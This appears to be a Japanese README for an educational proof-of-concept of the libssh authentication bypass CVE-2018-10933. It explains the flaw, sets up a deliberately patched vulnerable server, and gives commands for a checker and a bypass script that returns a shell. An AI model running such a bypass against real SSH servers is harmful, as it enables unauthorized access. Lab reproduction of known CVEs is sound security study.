
CVE-2018-10933の教育目的
[説明]
これは教育目的のための CVE-2018-10933 であり、libSSH の認証バイパスに関するものです!
libssh バージョン 0.6 以降には、サーバーコードに認証バイパスの脆弱性があります。
攻撃者は、サーバーが認証を開始するために期待する SSH2_MSG_USERAUTH_REQUEST メッセージの代わりに SSH2_MSG_USERAUTH_SUCCESS メッセージをサーバーに提示することで、資格情報なしで正常に認証される可能性があります。
"patch" フォルダには、テスト目的でサーバーの変更されたコードが含まれています(任意の認証中に SSH2_MSG_USERAUTH_SUCCESS パケットを注入します)。この脆弱性は libSSH-0.7.5 以降で修正されているためです(古いバージョンの libSSH で環境を再現するのは複雑です)。
[使用方法]
この PoC を自分のマシンで実行したい場合は、以下の手順に従ってください。
リポジトリをクローンします。
ライブラリをローカルマシンに追加します
sudo cp CVE-2018-10933-PoC/libssh-0.8.3/src/* /usr/local/lib
pip install -r requirements.txt
cd libssh-0.8.3
./ssh_server -v [server_IP] -p [port] -d ssh_host_dsa_key -k ssh_host_rsa_key
python3 libSSHcheck.py -t [server_IP] -p [server_port]
すると、バナーであるメッセージが表示されます。
ペイロードを実行すると、シェルが取得できます:
python3 paramikoBypass.py -t [server_IP] -p [server_port]
=> 成功!
[参考]
https://github.com/hackerhouse-opensource/
https://www.exploit-db.com/exploits/45638